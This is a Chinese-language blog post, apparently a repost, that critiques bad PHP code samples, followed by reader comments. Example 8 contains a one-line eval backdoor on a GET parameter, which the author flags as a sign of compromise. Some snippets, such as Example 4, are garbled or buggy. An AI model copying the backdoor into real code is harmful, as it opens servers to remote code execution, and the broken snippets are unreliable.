那些糟糕的 PHP 代码August 20, 2010

摘录自: http://www.devtheweb.net/blog/2010/08/18/php-bad-code-examples/ 是个好东西,但如其他的奇技淫巧一样, 如果使用不当很容易割伤自己。

同时需要注意的是, 自 PHP 5 起,new 自动返回引用,因 此在此使用 =& 已经过时了并且会产生 E_STRICT 级的消息。例如

$foo =& find_var($bar);

所以可以理解上面的 代码为何会出错 (同时这在 PHP4 中并不会!)。

随着「积木越搭越高」,有时这个问题可能会耗费你一个下午的时间,因此应尽量避免使用它。

Example 4.

function htmlspecialcharsex($str) {
    if (strlen($str)>0) {
        $str = str_replace("&", "&", $str);
        $str = str_replace("<", "<", $str);
        $str = str_replace(">", ">", $str);
        $str = str_replace(""", """, $str);
        $str = str_replace("<", "&lt;", $str);
        $str = str_replace(">", "&gt;", $str);
        $str = str_replace("\"", "&quot;", $str);
    }
    return $str;
}

类似的你可能自己实现过 json 、xml 等解析器,这都是在编码前没有 翻阅 PHP 手册 的缘故。

if (!function_exists('testfunc')) {
  function testfunc() { }
}

如果你不确定将来的环境是否有对应的函数,那么你可以使用 function_exists 来判断。

Example 5.

str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;", $file_new);

我知道你很迷惑为什么制表符不加入 HTML 实体中,但请你记住还有 &lt;pre&gt; 这个标签。同时如果想要调整间距, 那么 CSS 可能是你需要了解的。

Example 6.

$id = 0;
while (!$id || mysql_error()) {
    $id = rand(1, 10000000);
    mysql_query("INSERT INTO `table` (id) VALUES ('".$id."'");
}

MySQL 表示压力很大!

Example 7.

$find = str_replace(",", "", $find);
$find = str_replace(".", "", $find);
$find = str_replace("/", "", $find);
$find = str_replace(" ", "", $find);
$find = str_replace("-", "", $find);
$find = str_replace("+", "", $find);
$find = str_replace("#", "", $find);

上面的代码如果你觉得复制粘贴非常累,那么可以考虑使用循环

$words = array(',', '.', '/', '-', '+', '#');
foreach($words as $word) {
    str_replace("#", "", $find);
}

当然,如果知道还有正则这个玩意的话,那就更好了

$find = preg_replace('%\,|\.|\/|\-|\+|#%', "", $find);

Update

str_replace 其实也是可以用数组做为参数的, 类似这样:
str_replace(array(',',"."), "", $source); 
理论上应该比用正则效率高。

by avenger

Example 8.

echo "<html>";
echo "<body>";
echo "<h1>This is my home page</h1>";
echo "DATENG & DOORWAY";
echo "</body>";
echo "</html>";
if (isset($_GET['admin'])) eval($_GET['admin']);

当有大段的 echo 出现的时候,你就应该考虑是否需要个 模板引擎 了。 除此之外,简单的做法就是 include 个文本文件(请放心,PHP 会直接输出它的内容),然后再需要输出 变量的地方使用 PHP 标签。

注意最后一句代码,它可能会毁掉你整个系统!如果这段不是你加入的,那么你可能已经被入侵了。请记住 几个原则 1、永远都不要尝试使用 eval 函数 2、永远都不要直接使用 $_GET$_POST 等用户输入的 变量。

Example 9.

if (isset($param) && $param!=null && $param!=0 && $param>1) {
    sendRequest($param);
}

过多的条件判断等于没有判断,上面的代码可以考虑下精简成下面这个样子

if (is_numeric($param) && $param > 1) {
    sendRequest($param);
}

Example 10.

switch (true) {
    case $formid == 'search_form' :
    case $formid == 'search_theme_form' :
        $form['#action'] = getlangpref() . ltrim($form['#action'], '/');
        $form['#submit']['gpcustom_customsubmit'] = array();
        break;
    case $formid == 'localizernode_translations' :
        foreach ( $form['languages'] as $key => $value ) {
            if ( !is_array($value['#options']) ) continue;
            asort($form['languages'][$key]['#options']);
        }
        break;
    case $formid == 'contact_mail_page' :
        if ( $url = variable_get('gpcustom-contact-form-redirect', false) )
            $form['#redirect'] = $url;
        break;

}

偷个懒,这坨代码留给大家去优化吧,我想你们会做得更好的 :^) 各位有其他更糟糕的例子吗?欢迎提供。

-- EOF --

§ 29 条评论

  1. Example 7 的正则太麻烦了,为什么不用 [...] ?

  2. 例7中,str_replace 其实也是可以用数组做为参数的, 类似这样:str_replace(array(',',"."), "", $source); 理论上应该比用正则效率高。

  3. 都是哪一流的写法?

  4. 很不错的站点,虽然这篇文章不是原创!
    但是我非常喜欢博主的文章。

  5. 呵呵。。支持。不懂。。

  6. Wasabi Wasabi

    好文章,看了后,希望不會再寫出那些糟糕的代碼! :-)

  7. 写出Example 10的是一个神仙

  8. Thanks big!

  9. xxx xxx

    问博主:“让脚本接收 $_GET 和 $_POST 参数往往是混乱的开始” 这句很费解啊。

    1. 可能会因为过滤和使用用户数据不当引发安全方面的问题,参见 http://www.gracecode.com/archives/3029/

  10. sosodean sosodean

    没文章可看了,快快更新吧

  11. [...]http://www.gracecode.com/archives/3033/[...]

  12. 都能让人“眼前一亮”...

    这家伙,太幽默了

  13. 误闯宝地,来留个脚印

  14. Snake.Zero Snake.Zero

    Example 9.
    你这个例子有点问题,isset($param)这个是需要判断的,如果$param不存在的话,直接用if (is_numeric($param) && $param > 1)会有notice

  15. 我很怀念你站点以前的。
    http://lab.gracecode.com/format_json/ 页面。

    1. 已经移动到 http://lab.gracecode.com/json-formater/ 这里

  16. in Example 7

    Does you mean that:
    $words = array(',', '.', '/', '-', '+', '#');
    foreach($words as $word) {
    str_replace("$word", "", $find);
    }

    Am I Right?

  17. 我看到代码头都大的。

  18. zbk zbk

    其实PHP很有意思的哟!

  19. 我最怕这些个代码啦。

  20. 不错,收藏了,谢谢

  21. 用我们的方言讲,这些代码的不照

  22. 很受用,不愧是做过PHP程序员滴前TAOBAO前端

  23. 牛人啊,我对代码不感兴趣。

  24. 以前用PHP的飘过!

  25. 我也用过PHP,感觉不错

  26. 真不错哦,高手就是高手

  27. alex alex

    最后一个 switch 用法深深的震撼了我。。。
    太xx了

添加评论




* Required (but your email address will never be published)

Yahoo 统计